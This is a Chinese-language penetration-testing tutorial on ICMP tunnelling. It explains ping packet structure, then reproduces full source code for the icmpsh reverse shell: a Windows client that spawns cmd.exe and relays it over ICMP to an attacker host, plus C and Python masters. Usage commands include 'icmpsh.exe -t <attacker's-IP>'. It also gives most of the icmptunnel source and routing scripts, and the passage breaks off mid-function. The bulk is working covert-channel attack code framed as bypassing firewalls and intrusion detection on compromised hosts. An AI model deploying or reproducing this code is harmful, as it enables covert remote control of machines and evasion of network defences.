目录
前言
最近开始研究隧道相关,如前做了个整理——内网渗透系列:内网穿透(隧道)学习,本篇专门来学习ICMP隧道
一、ICMP隧道技术
1、ICMP协议
ICMP(Internet Control Message Protocol),即Internet控制报文协议,是TCP/IP协议簇的一个子协议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用。
主要的几点:
-
确认IP数据包是否成功到达目的地
-
通知源主机发送IP数据包丢失的原因
-
ICMP是基于IP协议工作的
-
ICMP只能作用于IPV4,IPV6下,使用ICMPv6
(1)报文格式
报文格式如下:
其中type和code是关键:
(2)ping
ping 命令用来在IP 层次上调查与指定机器是否连通,调查数据包往复需要多少时间
内容:
-
Windows系统默认传输32 bytes的数据,内容是固定的
abcdefghijklmnopqrstuvwabcdefghi
,ping包的大小是可以改变的,但是内容依旧不变,且请求和相应内容相同 -
Linux系统默认传输48 bytes的数据,头信息比较复杂,但是末尾内容是固定
!”#$%&’()+,-./01234567
过程:ping 命令使用了两个ICMP 报文
1、向目标服务器发送回送请求
首先,向目标服务器发出回送请求(类型是8,代码是0)报文(同2)。在这个回送请求报文里,除了类型和代码字段,还被追加了标识符和序号字段。标识符和序号字段分别是16 位的字段。ping 命令在发送回送请求报文时,在这两个字段里填入任意的值。对于标识符,应用程序执行期间送出的所有报文里填入相同的值。对于序号,每送出一个报文数值就增加1。而且,回送请求的选项数据部分用来装任意数据。这个任意数据用来调整ping 的交流数据包的大小。
2、鹦鹉学舌一样返回回送回答
计算机送出的回送请求到达目标服务器后,服务器回答这一请求,向送信方发送回送请求(类型是0,代码是0)(同3)。这个ICMP 回送回答报文在IP 层来看,与被送来的回送请求报文基本上一样。不同的只是,源和目标IP 地址字段被交换了,类型字段里填入了表示回送回答的0。也就是,从送信方来看,自己送出的ICMP 报文从目标服务器那里象鹦鹉学舌那样原样返回了。
送信方的计算机可以通过收到回送回答报文,来确认目标服务器在工作着。进一步,记住发送回送请求报文的时间,与接收到回送回答报文的时间一比较,就能计算出报文一去一回往复所需要的时间(同4)。但是,收到的回送回答报文里写的只是类型和代码的话,发送方计算机将无法判断它是否是自己发出去请求的回答。因此,前面说到的标识符和序号字段就有它的意义了。将这两个值与回送回答报文中的相同字段值一比较,送行方计算机就能够简单地检测回送回答是否正确了。执行ping 命令而调查的结果没什么问题的话,就将目标服务器的IP 地址,数据大小,往复花费的时间打印到屏幕上。
用 ping 命令不能确定与对方连通的原因:
- 目标服务器不存在
- 花在数据包交流上的时间太长,ping 命令认为超时
- 目标服务器不回答ping 命令
2、ICMP隧道
(1)原理
由于ICMP报文自身可以携带数据,而且ICMP报文是由系统内核处理的,不占用任何端口,因此具有很高的隐蔽性
通常ICMP隧道技术采用ICMP的ICMP_ECHO
和ICMP_ECHOREPLY
两种报文,把数据隐藏在ICMP数据包包头的选项域中,利用ping命令建立隐蔽通道。简单说就是,改变操作系统默认填充的Data,替换成我们自己的数据
进行隐蔽传输的时候,肉鸡(防火墙内部)运行并接受外部攻击端的ICMP_ECHO
数据包,攻击端把需要执行的命令隐藏在ICMP_ECHO
数据包中,肉鸡接收到该数据包,解出其中隐藏的命令,并在防火墙内部主机上执行,再把执行结果隐藏在ICMP_ECHOREPLY
数据包中,发送给外部攻击端
简单的说就是,利用ICMP的请求和应答数据包,伪造Ping命令的数据包形式,实现绕过防火墙和入侵检测系统的阻拦
(2)优缺点
优点:
- 防火墙对
ICMP_ECHO
数据包是放行的,并且内部主机不会检查ICMP数据包所携带的数据内容,隐蔽性高
缺点:
-
ICMP隐蔽传输是无连接的,传输不是很稳定,而且隐蔽通道的带宽很低
-
利用隧道传输时,需要接触更低层次的协议 ,这就需要高级用户权限
二、ICMP隧道工具
1、icmpsh
github:https://github.com/bdamele/icmpsh
最后更新于2013年,受控端(客户端)使用C语言实现,只能运行在目标Windows机器上;而主控端(服务端)由于已经有C和Perl实现的版本,而且之后又移植到了Python上,因此可以运行在任何平台的攻击者机器中。能通过ICMP协议反弹cmd,不用管理员权限,但反弹回来的cmd极不稳定,不推荐使用
(1)源码
受控端C语言
/*
* icmpsh - simple icmp command shell
* Copyright (c) 2010, Nico Leidecker <nico@leidecker.info>
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h>
#include <windows.h>
#include <winsock2.h>
#include <iphlpapi.h>
#define ICMP_HEADERS_SIZE (sizeof(ICMP_ECHO_REPLY) + 8)
#define STATUS_OK 0
#define STATUS_SINGLE 1
#define STATUS_PROCESS_NOT_CREATED 2
#define TRANSFER_SUCCESS 1
#define TRANSFER_FAILURE 0
#define DEFAULT_TIMEOUT 3000
#define DEFAULT_DELAY 200
#define DEFAULT_MAX_BLANKS 10
#define DEFAULT_MAX_DATA_SIZE 64
FARPROC icmp_create, icmp_send, to_ip;
int verbose = 0;
int spawn_shell(PROCESS_INFORMATION *pi, HANDLE *out_read, HANDLE *in_write)
{
SECURITY_ATTRIBUTES sattr;
STARTUPINFOA si;
HANDLE in_read, out_write;
memset(&si, 0x00, sizeof(SECURITY_ATTRIBUTES));
memset(pi, 0x00, sizeof(PROCESS_INFORMATION));
// create communication pipes
memset(&sattr, 0x00, sizeof(SECURITY_ATTRIBUTES));
sattr.nLength = sizeof(SECURITY_ATTRIBUTES);
sattr.bInheritHandle = TRUE;
sattr.lpSecurityDescriptor = NULL;
if (!CreatePipe(out_read, &out_write, &sattr, 0)) {
return STATUS_PROCESS_NOT_CREATED;
}
if (!SetHandleInformation(*out_read, HANDLE_FLAG_INHERIT, 0)) {
return STATUS_PROCESS_NOT_CREATED;
}
if (!CreatePipe(&in_read, in_write, &sattr, 0)) {
return STATUS_PROCESS_NOT_CREATED;
}
if (!SetHandleInformation(*in_write, HANDLE_FLAG_INHERIT, 0)) {
return STATUS_PROCESS_NOT_CREATED;
}
// spawn process
memset(&si, 0x00, sizeof(STARTUPINFO));
si.cb = sizeof(STARTUPINFO);
si.hStdError = out_write;
si.hStdOutput = out_write;
si.hStdInput = in_read;
si.dwFlags |= STARTF_USESTDHANDLES;
if (!CreateProcessA(NULL, "cmd", NULL, NULL, TRUE, 0, NULL, NULL, (LPSTARTUPINFOA) &si, pi)) {
return STATUS_PROCESS_NOT_CREATED;
}
CloseHandle(out_write);
CloseHandle(in_read);
return STATUS_OK;
}
void usage(char *path)
{
printf("%s [options] -t target\n", path);
printf("options:\n");
printf(" -t host host ip address to send ping requests to\n");
printf(" -r send a single test icmp request and then quit\n");
printf(" -d milliseconds delay between requests in milliseconds (default is %u)\n", DEFAULT_DELAY);
printf(" -o milliseconds timeout in milliseconds\n");
printf(" -h this screen\n");
printf(" -b num maximal number of blanks (unanswered icmp requests)\n");
printf(" before quitting\n");
printf(" -s bytes maximal data buffer size in bytes (default is 64 bytes)\n\n", DEFAULT_MAX_DATA_SIZE);
printf("In order to improve the speed, lower the delay (-d) between requests or\n");
printf("increase the size (-s) of the data buffer\n");
}
void create_icmp_channel(HANDLE *icmp_chan)
{
// create icmp file
*icmp_chan = (HANDLE) icmp_create();
}
int transfer_icmp(HANDLE icmp_chan, unsigned int target, char *out_buf, unsigned int out_buf_size, char *in_buf, unsigned int *in_buf_size, unsigned int max_in_data_size, unsigned int timeout)
{
int rs;
char *temp_in_buf;
int nbytes;
PICMP_ECHO_REPLY echo_reply;
temp_in_buf = (char *) malloc(max_in_data_size + ICMP_HEADERS_SIZE);
if (!temp_in_buf) {
return TRANSFER_FAILURE;
}
// send data to remote host
rs = icmp_send(
icmp_chan,
target,
out_buf,
out_buf_size,
NULL,
temp_in_buf,
max_in_data_size + ICMP_HEADERS_SIZE,
timeout);
// check received data
if (rs > 0) {
echo_reply = (PICMP_ECHO_REPLY) temp_in_buf;
if (echo_reply->DataSize > max_in_data_size) {
nbytes = max_in_data_size;
} else {
nbytes = echo_reply->DataSize;
}
memcpy(in_buf, echo_reply->Data, nbytes);
*in_buf_size = nbytes;
free(temp_in_buf);
return TRANSFER_SUCCESS;
}
free(temp_in_buf);
return TRANSFER_FAILURE;
}
int load_deps()
{
HMODULE lib;
lib = LoadLibraryA("ws2_32.dll");
if (lib != NULL) {
to_ip = GetProcAddress(lib, "inet_addr");
if (!to_ip) {
return 0;
}
}
lib = LoadLibraryA("iphlpapi.dll");
if (lib != NULL) {
icmp_create = GetProcAddress(lib, "IcmpCreateFile");
icmp_send = GetProcAddress(lib, "IcmpSendEcho");
if (icmp_create && icmp_send) {
return 1;
}
}
lib = LoadLibraryA("ICMP.DLL");
if (lib != NULL) {
icmp_create = GetProcAddress(lib, "IcmpCreateFile");
icmp_send = GetProcAddress(lib, "IcmpSendEcho");
if (icmp_create && icmp_send) {
return 1;
}
}
printf("failed to load functions (%u)", GetLastError());
return 0;
}
int main(int argc, char **argv)
{
int opt;
char *target;
unsigned int delay, timeout;
unsigned int ip_addr;
HANDLE pipe_read, pipe_write;
HANDLE icmp_chan;
unsigned char *in_buf, *out_buf;
unsigned int in_buf_size, out_buf_size;
DWORD rs;
int blanks, max_blanks;
PROCESS_INFORMATION pi;
int status;
unsigned int max_data_size;
struct hostent *he;
// set defaults
target = 0;
timeout = DEFAULT_TIMEOUT;
delay = DEFAULT_DELAY;
max_blanks = DEFAULT_MAX_BLANKS;
max_data_size = DEFAULT_MAX_DATA_SIZE;
status = STATUS_OK;
if (!load_deps()) {
printf("failed to load ICMP library\n");
return -1;
}
// parse command line options
for (opt = 1; opt < argc; opt++) {
if (argv[opt][0] == '-') {
switch(argv[opt][1]) {
case 'h':
usage(*argv);
return 0;
case 't':
if (opt + 1 < argc) {
target = argv[opt + 1];
}
break;
case 'd':
if (opt + 1 < argc) {
delay = atol(argv[opt + 1]);
}
break;
case 'o':
if (opt + 1 < argc) {
timeout = atol(argv[opt + 1]);
}
break;
case 'r':
status = STATUS_SINGLE;
break;
case 'b':
if (opt + 1 < argc) {
max_blanks = atol(argv[opt + 1]);
}
break;
case 's':
if (opt + 1 < argc) {
max_data_size = atol(argv[opt + 1]);
}
break;
default:
printf("unrecognized option -%c\n", argv[1][0]);
usage(*argv);
return -1;
}
}
}
if (!target) {
printf("you need to specify a host with -t. Try -h for more options\n");
return -1;
}
ip_addr = to_ip(target);
// don't spawn a shell if we're only sending a single test request
if (status != STATUS_SINGLE) {
status = spawn_shell(&pi, &pipe_read, &pipe_write);
}
// create icmp channel
create_icmp_channel(&icmp_chan);
if (icmp_chan == INVALID_HANDLE_VALUE) {
printf("unable to create ICMP file: %u\n", GetLastError());
return -1;
}
// allocate transfer buffers
in_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE);
out_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE);
if (!in_buf || !out_buf) {
printf("failed to allocate memory for transfer buffers\n");
return -1;
}
memset(in_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE);
memset(out_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE);
// sending/receiving loop
blanks = 0;
do {
switch(status) {
case STATUS_SINGLE:
// reply with a static string
out_buf_size = sprintf(out_buf, "Test1234\n");
break;
case STATUS_PROCESS_NOT_CREATED:
// reply with error message
out_buf_size = sprintf(out_buf, "Process was not created\n");
break;
default:
// read data from process via pipe
out_buf_size = 0;
if (PeekNamedPipe(pipe_read, NULL, 0, NULL, &out_buf_size, NULL)) {
if (out_buf_size > 0) {
out_buf_size = 0;
rs = ReadFile(pipe_read, out_buf, max_data_size, &out_buf_size, NULL);
if (!rs && GetLastError() != ERROR_IO_PENDING) {
out_buf_size = sprintf(out_buf, "Error: ReadFile failed with %i\n", GetLastError());
}
}
} else {
out_buf_size = sprintf(out_buf, "Error: PeekNamedPipe failed with %i\n", GetLastError());
}
break;
}
// send request/receive response
if (transfer_icmp(icmp_chan, ip_addr, out_buf, out_buf_size, in_buf, &in_buf_size, max_data_size, timeout) == TRANSFER_SUCCESS) {
if (status == STATUS_OK) {
// write data from response back into pipe
WriteFile(pipe_write, in_buf, in_buf_size, &rs, 0);
}
blanks = 0;
} else {
// no reply received or error occured
blanks++;
}
// wait between requests
Sleep(delay);
} while (status == STATUS_OK && blanks < max_blanks);
if (status == STATUS_OK) {
TerminateProcess(pi.hProcess, 0);
}
return 0;
}
主控端
C语言
/*
* icmpsh - simple icmp command shell
* Copyright (c) 2010, Nico Leidecker <nico@leidecker.info>
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <netinet/in.h>
#include <netinet/ip_icmp.h>
#include <netinet/ip.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#define IN_BUF_SIZE 1024
#define OUT_BUF_SIZE 64
// calculate checksum
unsigned short checksum(unsigned short *ptr, int nbytes)
{
unsigned long sum;
unsigned short oddbyte, rs;
sum = 0;
while(nbytes > 1) {
sum += *ptr++;
nbytes -= 2;
}
if(nbytes == 1) {
oddbyte = 0;
*((unsigned char *) &oddbyte) = *(u_char *)ptr;
sum += oddbyte;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
rs = ~sum;
return rs;
}
int main(int argc, char **argv)
{
int sockfd;
int flags;
char in_buf[IN_BUF_SIZE];
char out_buf[OUT_BUF_SIZE];
unsigned int out_size;
int nbytes;
struct iphdr *ip;
struct icmphdr *icmp;
char *data;
struct sockaddr_in addr;
printf("icmpsh - master\n");
// create raw ICMP socket
sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP);
if (sockfd == -1) {
perror("socket");
return -1;
}
// set stdin to non-blocking
flags = fcntl(0, F_GETFL, 0);
flags |= O_NONBLOCK;
fcntl(0, F_SETFL, flags);
printf("running...\n");
while(1) {
// read data from socket
memset(in_buf, 0x00, IN_BUF_SIZE);
nbytes = read(sockfd, in_buf, IN_BUF_SIZE - 1);
if (nbytes > 0) {
// get ip and icmp header and data part
ip = (struct iphdr *) in_buf;
if (nbytes > sizeof(struct iphdr)) {
nbytes -= sizeof(struct iphdr);
icmp = (struct icmphdr *) (ip + 1);
if (nbytes > sizeof(struct icmphdr)) {
nbytes -= sizeof(struct icmphdr);
data = (char *) (icmp + 1);
data[nbytes] = '\0';
printf("%s", data);
fflush(stdout);
}
// reuse headers
icmp->type = 0;
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = ip->saddr;
// read data from stdin
nbytes = read(0, out_buf, OUT_BUF_SIZE);
if (nbytes > -1) {
memcpy((char *) (icmp + 1), out_buf, nbytes);
out_size = nbytes;
} else {
out_size = 0;
}
icmp->checksum = 0x00;
icmp->checksum = checksum((unsigned short *) icmp, sizeof(struct icmphdr) + out_size);
// send reply
nbytes = sendto(sockfd, icmp, sizeof(struct icmphdr) + out_size, 0, (struct sockaddr *) &addr, sizeof(addr));
if (nbytes == -1) {
perror("sendto");
return -1;
}
}
}
}
return 0;
}
Python版
#!/usr/bin/env python
#
# icmpsh - simple icmp command shell (port of icmpsh-m.pl written in
# Perl by Nico Leidecker <nico@leidecker.info>)
#
# Copyright (c) 2010, Bernardo Damele A. G. <bernardo.damele@gmail.com>
#
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import os
import select
import socket
import subprocess
import sys
def setNonBlocking(fd):
"""
Make a file descriptor non-blocking
"""
import fcntl
flags = fcntl.fcntl(fd, fcntl.F_GETFL)
flags = flags | os.O_NONBLOCK
fcntl.fcntl(fd, fcntl.F_SETFL, flags)
def main(src, dst):
if subprocess.mswindows:
sys.stderr.write('icmpsh master can only run on Posix systems\n')
sys.exit(255)
try:
from impacket import ImpactDecoder
from impacket import ImpactPacket
except ImportError:
sys.stderr.write('You need to install Python Impacket library first\n')
sys.exit(255)
# Make standard input a non-blocking file
stdin_fd = sys.stdin.fileno()
setNonBlocking(stdin_fd)
# Open one socket for ICMP protocol
# A special option is set on the socket so that IP headers are included
# with the returned data
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
except socket.error, e:
sys.stderr.write('You need to run icmpsh master with administrator privileges\n')
sys.exit(1)
sock.setblocking(0)
sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
# Create a new IP packet and set its source and destination addresses
ip = ImpactPacket.IP()
ip.set_ip_src(src)
ip.set_ip_dst(dst)
# Create a new ICMP packet of type ECHO REPLY
icmp = ImpactPacket.ICMP()
icmp.set_icmp_type(icmp.ICMP_ECHOREPLY)
# Instantiate an IP packets decoder
decoder = ImpactDecoder.IPDecoder()
while 1:
cmd = ''
# Wait for incoming replies
if sock in select.select([ sock ], [], [])[0]:
buff = sock.recv(4096)
if 0 == len(buff):
# Socket remotely closed
sock.close()
sys.exit(0)
# Packet received; decode and display it
ippacket = decoder.decode(buff)
icmppacket = ippacket.child()
# If the packet matches, report it to the user
if ippacket.get_ip_dst() == src and ippacket.get_ip_src() == dst and 8 == icmppacket.get_icmp_type():
# Get identifier and sequence number
ident = icmppacket.get_icmp_id()
seq_id = icmppacket.get_icmp_seq()
data = icmppacket.get_data_as_string()
if len(data) > 0:
sys.stdout.write(data)
# Parse command from standard input
try:
cmd = sys.stdin.readline()
except:
pass
if cmd == 'exit\n':
return
# Set sequence number and identifier
icmp.set_icmp_id(ident)
icmp.set_icmp_seq(seq_id)
# Include the command as data inside the ICMP packet
icmp.contains(ImpactPacket.Data(cmd))
# Calculate its checksum
icmp.set_icmp_cksum(0)
icmp.auto_checksum = 1
# Have the IP packet contain the ICMP packet (along with its payload)
ip.contains(icmp)
# Send it to the target host
sock.sendto(ip.get_packet(), (dst, 0))
if __name__ == '__main__':
if len(sys.argv) < 3:
msg = 'missing mandatory options. Execute as root:\n'
msg += './icmpsh-m.py <source IP address> <destination IP address>\n'
sys.stderr.write(msg)
sys.exit(1)
main(sys.argv[1], sys.argv[2])
(2)用法
- 安装
git clone https://github.com/inquisb/icmpsh.git
- 关闭ping回复,防止内核自己对ping包进行响应。
sysctl -w net.ipv4.icmp_echo_ignore_all=1
- 攻击端执行
python icmpsh_m.py <attacker's-IP> <target-IP>
- 服务端执行
icmpsh.exe -t <attacker's-IP>
2、icmptunnel
github:https://github.com/DhavalKapil/icmptunnel
最后更新于2017年,创建虚拟网卡通过ICMP协议传输网卡流量,基于ICMP隧道的vpn,需要root权限,动静极大,不推荐使用
(1)源码
icmp.h
/**
* icmp.h
*/
#ifndef icmp_guard
#define icmp_guard
// Maximum transmission unit
#define MTU 1472
struct icmp_packet
{
char src_addr[100];
char dest_addr[100];
int type;
char *payload;
int payload_size;
};
/**
* Function to set packet type as ECHO
*/
void set_echo_type(struct icmp_packet *packet);
/**
* Function to set packet type as REPLY
*/
void set_reply_type(struct icmp_packet *packet);
/**
* Function to open a socket for icmp
*/
int open_icmp_socket();
/**
* Function to bind the socket to INADDR_ANY
*/
void bind_icmp_socket(int sock_fd);
/**
* Function to send ICMP Packet
*/
void send_icmp_packet(int sock_fd, struct icmp_packet *packet_details);
/**
* Function to receive ICMP Packet
*/
void receive_icmp_packet(int sock_fd, struct icmp_packet *packet_details);
/**
* Function to close the icmp socket
*/
void close_icmp_socket(int sock_fd);
#endif
icmp.c
/**
* icmp.c
*/
#include "icmp.h"
#include <arpa/inet.h>
#include <stdint.h>
#include <string.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
/**
* Function to calculate checksum
*/
uint16_t in_cksum(uint16_t *addr, int len);
/**
* Function to fill up common headers for IP and ICMP
*/
void prepare_headers(struct iphdr *ip, struct icmphdr *icmp);
/**
* Function to set packet type as ECHO
*/
void set_echo_type(struct icmp_packet *packet)
{
packet->type = ICMP_ECHO;
}
/**
* Function to set packet type as REPLY
*/
void set_reply_type(struct icmp_packet *packet)
{
packet->type = ICMP_ECHOREPLY;
}
/**
* Function to open a socket for icmp
*/
int open_icmp_socket()
{
int sock_fd, on = 1;
sock_fd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
if (sock_fd == -1) {
perror("Unable to open ICMP socket\n");
exit(EXIT_FAILURE);
}
// Providing IP Headers
if (setsockopt(sock_fd, IPPROTO_IP, IP_HDRINCL, (const char *)&on, sizeof(on)) == -1) {
perror("Unable to set IP_HDRINCL socket option\n");
exit(EXIT_FAILURE);
}
return sock_fd;
}
/**
* Function to bind the socket to INADDR_ANY
*/
void bind_icmp_socket(int sock_fd)
{
struct sockaddr_in servaddr;
// Initializing servaddr to bind to all interfaces
memset(&servaddr, 0, sizeof(struct sockaddr_in));
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = htonl(INADDR_ANY);
// binding the socket
if (bind(sock_fd, (struct sockaddr *)&servaddr, sizeof(struct sockaddr_in)) == -1) {
perror("Unable to bind\n");
exit(EXIT_FAILURE);
}
}
/**
* Function to send ICMP Packet
*/
void send_icmp_packet(int sock_fd, struct icmp_packet *packet_details)
{
// Source and destination IPs
struct in_addr src_addr;
struct in_addr dest_addr;
struct iphdr *ip;
struct icmphdr *icmp;
char *icmp_payload;
int packet_size;
char *packet;
struct sockaddr_in servaddr;
inet_pton(AF_INET, packet_details->src_addr, &src_addr);
inet_pton(AF_INET, packet_details->dest_addr, &dest_addr);
packet_size = sizeof(struct iphdr) + sizeof(struct icmphdr) + packet_details->payload_size;
packet = calloc(packet_size, sizeof(uint8_t));
if (packet == NULL) {
perror("No memory available\n");
close_icmp_socket(sock_fd);
exit(EXIT_FAILURE);
}
// Initializing header and payload pointers
ip = (struct iphdr *)packet;
icmp = (struct icmphdr *)(packet + sizeof(struct iphdr));
icmp_payload = (char *)(packet + sizeof(struct iphdr) + sizeof(struct icmphdr));
prepare_headers(ip, icmp);
ip->tot_len = htons(packet_size);
ip->saddr = src_addr.s_addr;
ip->daddr = dest_addr.s_addr;
memcpy(icmp_payload, packet_details->payload, packet_details->payload_size);
icmp->type = packet_details->type;
icmp->checksum = 0;
icmp->checksum = in_cksum((unsigned short *)icmp, sizeof(struct icmphdr) + packet_details->payload_size);
memset(&servaddr, 0, sizeof(struct sockaddr_in));
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = dest_addr.s_addr;
// Sending the packet
sendto(sock_fd, packet, packet_size, 0, (struct sockaddr *)&servaddr, sizeof(struct sockaddr_in));
free(packet);
}
/**
* Function to receive an ICMP packet
*/
void receive_icmp_packet(int sock_fd, struct icmp_packet *packet_details)
{
struct sockaddr_in src_addr;
//struct sockaddr_in dest_addr;
struct iphdr *ip;
struct icmphdr *icmp;
char *icmp_payload;
int packet_size;
char *packet;
socklen_t src_addr_size;
int enc_MTU; //encapsulated MTU
enc_MTU = MTU + sizeof(struct iphdr) + sizeof(struct icmphdr);
packet = calloc(enc_MTU, sizeof(uint8_t));
if (packet == NULL) {
perror("No memory available\n");
close_icmp_socket(sock_fd);
exit(-1);
}
src_addr_size = sizeof(struct sockaddr_in);
// Receiving packet
packet_size = recvfrom(sock_fd, packet, enc_MTU, 0, (struct sockaddr *)&(src_addr), &src_addr_size);
ip = (struct iphdr *)packet;
icmp = (struct icmphdr *)(packet + sizeof(struct iphdr));
icmp_payload = (char *)(packet + sizeof(struct iphdr) + sizeof(struct icmphdr));
// Filling up packet_details
inet_ntop(AF_INET, &(ip->saddr), packet_details->src_addr, INET_ADDRSTRLEN);
inet_ntop(AF_INET, &(ip->daddr), packet_details->dest_addr, INET_ADDRSTRLEN);
packet_details->type = icmp->type;
packet_details->payload_size = packet_size - sizeof(struct iphdr) - sizeof(struct icmphdr);
packet_details->payload = calloc(packet_details->payload_size, sizeof(uint8_t));
if (packet_details->payload == NULL) {
perror("No memory available\n");
close_icmp_socket(sock_fd);
exit(-1);
}
memcpy(packet_details->payload, icmp_payload, packet_details->payload_size);
free(packet);
}
/**
* Function to close the icmp socket
*/
void close_icmp_socket(int sock_fd)
{
close(sock_fd);
}
/**
* Function to calculate checksum
*/
uint16_t in_cksum(uint16_t *addr, int len)
{
int nleft = len;
uint32_t sum = 0;
uint16_t *w = addr;
uint16_t answer = 0;
// Adding 16 bits sequentially in sum
while (nleft > 1) {
sum += *w;
nleft -= 2;
w++;
}
// If an odd byte is left
if (nleft == 1) {
*(unsigned char *) (&answer) = *(unsigned char *) w;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return answer;
}
/**
* Function to fill up common headers for IP and ICMP
*/
void prepare_headers(struct iphdr *ip, struct icmphdr *icmp)
{
ip->version = 4;
ip->ihl = 5;
ip->tos = 0;
ip->id = rand();
ip->frag_off = 0;
ip->ttl = 255;
ip->protocol = IPPROTO_ICMP;
icmp->code = 0;
icmp->un.echo.sequence = rand();
icmp->un.echo.id = rand();
icmp->checksum = 0;
}
tunnel.h
/**
* tunnel.h
*/
#ifndef tunnel_gaurd
#define tunnel_gaurd
#define SERVER_SCRIPT "server.sh"
#define CLIENT_SCRIPT "client.sh"
/**
* Function to allocate a tunnel
*/
int tun_alloc(char *dev, int flags);
/**
* Function to read from a tunnel
*/
int tun_read(int tun_fd, char *buffer, int length);
/**
* Function to write to a tunnel
*/
int tun_write(int tun_fd, char *buffer, int length);
/**
* Function to run the tunnel
*/
void run_tunnel(char *dest, int server);
#endif
client.sh
#!/bin/sh
# Assigining an IP address and mask to 'tun0' interface
ifconfig tun0 mtu 1472 up 10.0.1.2 netmask 255.255.255.0
# Modifying IP routing tables
route del default
# 'server' is the IP address of the proxy server
# 'gateway' and 'interface' can be obtained by usint the command: 'route -n'
route add -host <server> gw <gateway> dev <interface>
route add default gw 10.0.1.1 tun0
server.sh
#!/bin/sh
# Assigining an IP address and mask to 'tun0' interface
ifconfig tun0 mtu 1472 up 10.0.1.1 netmask 255.255.255.0
# Preventing the kernel to reply to any ICMP pings
echo 1 | dd of=/proc/sys/net/ipv4/icmp_echo_ignore_all
# Enabling IP forwarding
echo 1 | dd of=/proc/sys/net/ipv4/ip_forward
# Adding an iptables rule to masquerade for 10.0.0.0/8
iptables -t nat -A POSTROUTING -s 10.0.0.0/8 -j MASQUERADE
tunnel.c
/**
* tunnel.c
*/
#include "icmp.h"
#include "tunnel.h"
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/if.h>
#include <linux/if_tun.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <netdb.h>
#include <pwd.h>
#include <pthread.h>
#include <arpa/inet.h>
#include <unistd.h>
#define DEFAULT_ROUTE "0.0.0.0"
/**
* Function to allocate a tunnel
*/
int tun_alloc(char *dev, int flags)
{
struct ifreq ifr;
int tun_fd, err;
char *clonedev = "/dev/net/tun";
printf("[DEBUG] Allocating tunnel\n");
tun_fd = open(clonedev, O_RDWR);
if(tun_fd == -1) {
perror("Unable to open clone device\n");
exit(EXIT_FAILURE);
}
memset(&ifr, 0, sizeof(ifr));
ifr.ifr_flags = flags;
if (*dev) {
strncpy(ifr.ifr_name, dev, IFNAMSIZ);
}
if ((err=ioctl(tun_fd, TUNSETIFF, (void *)&ifr)) < 0) {
close(tun_fd);
fprintf(stderr, "Error returned by ioctl(): %s\n", strerror(err));
perror("Error in tun_alloc()\n");
exit(EXIT_FAILURE);
}
printf("[DEBUG] Allocatating tunnel2");
printf("[DEBUG] Created tunnel %s\n", dev);
return tun_fd;
}
/**
* Function to read from a tunnel
*/
int tun_read(int tun_fd, char *buffer, int length)
{
int bytes_read;
printf("[DEBUG] Reading from tunnel\n");
bytes_read = read(tun_fd, buffer, length);
if (bytes_read == -1) {
perror("Unable to read from tunnel\n");
exit(EXIT_FAILURE);
}
else {
return bytes_read;
}
}
/**
* Function to write to a tunnel
*/
int tun_write(int tun_fd, char *buffer, int length)
{
int bytes_written;
printf("[DEBUG] Writing to tunnel\n");
bytes_written = write(tun_fd, buffer, length);
if (bytes_written == -1) {
perror("Unable to write to tunnel\n");
exit(EXIT_FAILURE);
}
else {
return bytes_written;
}
}
/**
* Function to configure the network
*/
void configure_network(int server)
{
int pid, status;
char path[100];
char *const args[] = {path, NULL};
if (server) {
if (sizeof(SERVER_SCRIPT) > sizeof(path)){
perror("Server script path is too long\n");
exit(EXIT_FAILURE);
}
strncpy(path, SERVER_SCRIPT, strlen(SERVER_SCRIPT) + 1);
}
else {
if (sizeof(CLIENT_SCRIPT) > sizeof(path)){
perror("Client script path is too long\n");
exit(EXIT_FAILURE);
}
strncpy(path, CLIENT_SCRIPT, strlen(CLIENT_SCRIPT) + 1);
}
pid = fork();
if (pid == -1) {
perror("Unable to fork\n");
